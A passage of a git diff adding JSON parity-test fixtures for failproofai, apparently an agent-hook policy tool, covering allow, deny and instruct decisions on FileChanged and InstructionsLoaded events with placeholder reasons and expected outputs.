"cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c262babe --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..48a96176 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..686c3af6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1e460eeb --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d135d755 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6cc6e9a2 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..cc954fbe --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ec9acbaa --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..73af52bb --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a562146b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..83cd1639 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..11c51f28 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..87e54880 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..801e9b43 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..039df885 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..480b01fd --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..41819b28 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..312976e1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..72ef257c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": 